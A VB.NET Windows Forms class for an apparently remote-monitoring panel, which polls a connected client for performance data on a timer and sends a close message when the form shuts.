Imports System.Threading Public Class Performance Public C As Client Private Sub Performance_Load(sender As Object, e As EventArgs) Handles MyBase.Load Guna2GradientButton1.PerformClick() End Sub Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick Try If Not C.IsConnected Then Close() End If Catch ex As Exception Debug.WriteLine(ex.Message) End Try End Sub Private Sub Performance_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing Dim B As Byte() = SB("ClosePerformance") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End Sub Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick Dim B As Byte() = SB("GetPerformance") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End Sub Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click If Guna2GradientButton1.Text = "Start" Then Timer2.Enabled = True Timer2.Start() Guna2GradientButton1.Text = "Stop" Guna2GradientButton1.Image = My.Resources._Stop Else Try Timer2.Dispose() Catch End Try Guna2GradientButton1.Text = "Start" Guna2GradientButton1.Image = My.Resources.Play End If End Sub End Class